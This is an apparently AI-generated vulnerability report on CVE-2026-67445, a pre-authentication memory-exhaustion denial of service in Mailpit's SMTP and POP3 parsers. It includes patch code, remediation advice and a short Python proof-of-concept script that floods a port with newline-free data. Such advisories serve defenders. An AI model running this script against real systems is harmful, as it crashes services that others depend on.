CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-67445

CVE-2026-67445: Uncontrolled Memory Resource Consumption in Mailpit SMTP and POP3 Services

Alon Barad
Alon Barad
Software Engineer

Sep 3, 2026·6 min read·3 visits

Executive Summary (TL;DR)

Unauthenticated remote attackers can exhaust system memory and crash Mailpit by streaming long commands without a newline character to the SMTP or POP3 ports.

An uncontrolled resource consumption vulnerability in Mailpit versions prior to 1.30.4 allows remote, unauthenticated attackers to cause a denial of service (DoS) by sending unbounded command lines to the SMTP and POP3 servers. This memory exhaustion condition bypasses maximum message size limits.

Vulnerability Overview

Mailpit is an open-source email testing tool and API designed for developer environments. It features built-in SMTP and POP3 servers to capture and test email traffic locally. The vulnerability CVE-2026-67445 exists within the command-handling parsers of both protocol interfaces prior to version 1.30.4.

This flaw is classified under CWE-400 (Uncontrolled Resource Consumption). It allows network-adjacent or remote attackers to bypass resource limitations before protocol parsing or authentication is enforced. Because these services are commonly run without restrictive firewalls in local development or test suites, the attack surface is substantial.

The denial-of-service condition directly impacts system availability. Since Mailpit is frequently integrated into automated continuous integration and continuous deployment pipelines, a crash in the mail daemon often stalls active software build verification processes.

Root Cause Analysis

The underlying technical flaw stems from Mailpit's reliance on Go's standard library bufio.Reader.ReadString('\n') inside internal/smtpd/smtpd.go and internal/pop3/server.go. This method continuously reads data from the network connection into heap-allocated memory until it encounters a newline delimiter byte.

According to SMTP and POP3 standards (RFC 5321 and RFC 1939), command lines must not exceed 512 and 255 octets respectively. Mailpit does implement checks to enforce these size ceilings. However, in vulnerable versions, this length validation occurs within downstream parsing functions such as session.parseLine(), only after the full command line has already been read and allocated.

An attacker can open a socket and stream a continuous sequence of characters without transmitting a newline byte. The bufio.Reader continually resizes and expands the target byte slice on the heap. Because this occurs prior to entering the email body transmission phase, standard protections like MaxMessageSize are completely bypassed, leading to out-of-memory crashes.

Code-Level Patch Analysis

We can analyze the patch flow to understand how Mailpit mitigated this uncontrolled buffer allocation vulnerability.

In the vulnerable implementation, the command parsing loop utilized unbounded reads on a default-sized buffer, facilitating memory growth. The maintainers corrected this behavior in release 1.30.4 by implementing fixed-size buffer limits. In the POP3 handler (internal/pop3/server.go), the patch limits the reader size explicitly and validates the read state using ReadLine:

// PATCHED
reader := bufio.NewReaderSize(conn, 512)
...
lineBytes, isPrefix, err := reader.ReadLine()
...
if isPrefix {
    // Command line exceeds RFC 1939's 255-octet limit; drain and reject.
    for isPrefix {
        _, isPrefix, err = reader.ReadLine()
        if err != nil {
            return
        }
    }
    sendResponse(conn, "-ERR line too long")
    continue
}

The corresponding fix was applied to the SMTP session parser (internal/smtpd/smtpd.go). Instead of reading indefinitely via ReadString, the patched system restricts the SMTP input buffer to 2048 bytes:

// PATCHED
s.br = bufio.NewReaderSize(conn, 2048)
...
lineBytes, isPrefix, err := s.br.ReadLine()
if err != nil {
    return "", err
}
if isPrefix {
    // The command line exceeds the reader buffer; drain the remainder then reject.
    for isPrefix {
        _, isPrefix, err = s.br.ReadLine()
        if err != nil {
            return "", err
        }
    }
    return "", errLineTooLong
}

When isPrefix returns true, it signifies that the network buffer limit was reached before a newline delimiter was encountered. The updated logic avoids heap exhaustion by loop-draining the remaining data off the socket and discarding it, returning an error response without allocating additional memory.

Exploitation Methodology

Exploitation of CVE-2026-67445 requires minimal protocol-level compliance and zero authentication. An attacker must simply establish a standard TCP connection to either the SMTP port (default 1025) or the POP3 port (default 1110) and transmit a long byte sequence without sending the newline character (\n).

The execution is reliable because it targets Go's low-level heap memory allocation mechanics. An attacker can stream several megabytes of dummy characters. Multiple concurrent connections running this process will exhaust the virtual memory allocated to the Mailpit container or VM, prompting the kernel's Out-Of-Memory (OOM) killer to terminate the daemon.

A single-threaded python script can illustrate the memory allocation behavior on vulnerable targets:

import socket
import time
 
target_host = "127.0.0.1"
target_port = 1025
large_chunk = b"A" * 1024 * 1024  # 1 MB block
 
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target_host, target_port))
    banner = s.recv(1024)
    
    # Stream 128 MB of data slowly without a newline character
    for _ in range(128):
        s.sendall(large_chunk)
        time.sleep(0.01)
        
    s.sendall(b"\n")
    s.close()
except ConnectionResetError:
    print("Connection closed - Target system likely crashed or depleted memory")

Impact Assessment

The direct impact of CVE-2026-67445 is classified as moderate, yielding a CVSS score of 5.3. This represents a complete Denial of Service (DoS) of the Mailpit binary. Because Mailpit does not self-recover from OOM terminations, manual or automated process restarts are required to restore service availability.

The vulnerability is highly accessible because it exists in the pre-authentication phase of both the SMTP and POP3 processes. Therefore, anyone who can reach the open port on the network can trigger the memory exhaustion. This makes exposing Mailpit instances to the public internet highly risky.

No data disclosure or execution of unauthorized operations is associated with this vulnerability. The risk is limited to service availability, rendering this a localized but highly reliable denial of service threat.

Remediation and Defensive Mitigations

The recommended remediation is upgrading Mailpit to version 1.30.4 or higher. This update properly addresses the memory leak by dropping connection lines exceeding 2048 bytes for SMTP and 512 bytes for POP3.

For systems where an immediate patch is impossible, deploy local network-level restrictions. Ensure that the Mailpit SMTP and POP3 ports are strictly restricted to localhost or trusted internal networks. Implement security groups or iptables rules to drop connections originating from untrusted hosts.

Additionally, you can leverage container orchestrators like Docker or Kubernetes to limit resource consumption. Enforce strict memory limits (e.g., --memory="512m") on the Mailpit container. Combine this with container restart policies to automatically bring the service back online if an OOM event occurs.

Official Patches

axllentFix Commit implementing bufio.Reader bounds checks

Fix Analysis (2)

Technical Appendix

CVSS Score
5.3/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Probability
0.37%
Top 70% most exploited

Affected Systems

Mailpit SMTP ServerMailpit POP3 Server

Affected Versions Detail

Product
Affected Versions
Fixed Version
mailpit
axllent
< 1.30.41.30.4
AttributeDetail
CWE IDCWE-400
Attack VectorNetwork
CVSS5.3
EPSS0.00371 (30.14th percentile)
ImpactDenial of Service (DoS)
Exploit StatusProof of Concept (PoC) available
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1499Endpoint Denial of Service
Impact
CWE-400
Uncontrolled Resource Consumption

The software does not properly control the allocation and maintenance of a limited resource, enabling an actor to influence the amount of resources consumed, eventually leading to exhaustion of available resources.

References & Sources

  • [1]GitHub Security Advisory GHSA-w878-pj84-3j5v
  • [2]Mailpit Release Tag v1.30.4

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•28 minutes ago•CVE-2026-63481
6.9

CVE-2026-63481: Sensitive Information Exposure in Hurl [Cookies] Redirection

Hurl version 8.0.1 and earlier contains a sensitive information exposure vulnerability during cross-origin HTTP redirections. Cookies defined via a dedicated [Cookies] parser block are carried into the redirected request, whereas standard raw Cookie headers are correctly stripped. This allows attackers to capture session credentials by redirecting Hurl clients to untrusted external hosts.

Amit Schendel
Amit Schendel
1 views•6 min read
•about 1 hour ago•CVE-2026-63490
7.5

CVE-2026-63490: Path Traversal and Arbitrary File Disclosure in Handlebars.java

CVE-2026-63490 is a critical path traversal vulnerability in the Spring MVC integration of Handlebars.java. It allows unauthenticated remote attackers to bypass suffix validation and retrieve arbitrary system files via crafted dynamic view names.

Alon Barad
Alon Barad
1 views•5 min read
•about 2 hours ago•CVE-2026-4692
10.0

CVE-2026-4692: Sandbox Escape via Responsive Design Mode in Mozilla Firefox and Thunderbird

CVE-2026-4692 is a critical security vulnerability within the multi-process architecture of Mozilla Firefox, Firefox ESR, and Mozilla Thunderbird. It is classified as a sandbox escape residing in the Responsive Design Mode (RDM) component. Due to a missing authorization check during Inter-Process Communication (IPC) synchronization of BrowsingContext state, a compromised content process can unilaterally declare its top-level browsing context to be rendered in Responsive Design Mode. This state modification relaxes hit-test bounds restrictions, enabling the content process to dispatch synthesized touch events that target and trigger clicks within privileged browser UI (Chrome UI) elements. The exploitation of this vulnerability achieves complete sandbox escape and arbitrary code execution in the context of the parent process.

Amit Schendel
Amit Schendel
3 views•6 min read
•about 2 hours ago•CVE-2026-65842
8.2

CVE-2026-65842: Server-Side Request Forgery with Response Disclosure in @platejs/docx-io

CVE-2026-65842 is a high-severity Server-Side Request Forgery (SSRF) vulnerability with response disclosure in the @platejs/docx-io package of the Plate rich-text editor ecosystem. Prior to version 53.3.2, the library parsed HTML image tags and unconditionally fetched remote URL resources. Because the server-side response is subsequently encoded and compiled into the generated DOCX file, an attacker can extract sensitive internal data such as local API endpoints, private network configurations, or cloud instance metadata (IMDS) from the downloaded document structure.

Alon Barad
Alon Barad
3 views•6 min read
•about 2 hours ago•CVE-2026-2763
9.8

CVE-2026-2763: Use-After-Free in SpiderMonkey Generator for-in Loops

A critical use-after-free vulnerability exists in the SpiderMonkey JavaScript engine of Mozilla Firefox and Thunderbird. The flaw occurs when a generator object containing an active for-in loop is garbage-collected before the loop's iterator scope is finalized. This leaves a dangling pointer in the compartment's active enumerators list, allowing attackers to corrupt memory and execute arbitrary code.

Alon Barad
Alon Barad
3 views•6 min read
•about 3 hours ago•CVE-2026-60206
9.9

CVE-2026-60206: Unauthenticated SAML Authentication Bypass in Oracle WebLogic Server

A critical vulnerability (CVE-2026-60206) in Oracle WebLogic Server allows unauthenticated or low-privileged attackers to bypass SAML authentication controls. This flaw stems from improper validation of XML signatures and parsing discrepancies in SAML assertions, allowing arbitrary administrative session creation.

Amit Schendel
Amit Schendel
4 views•5 min read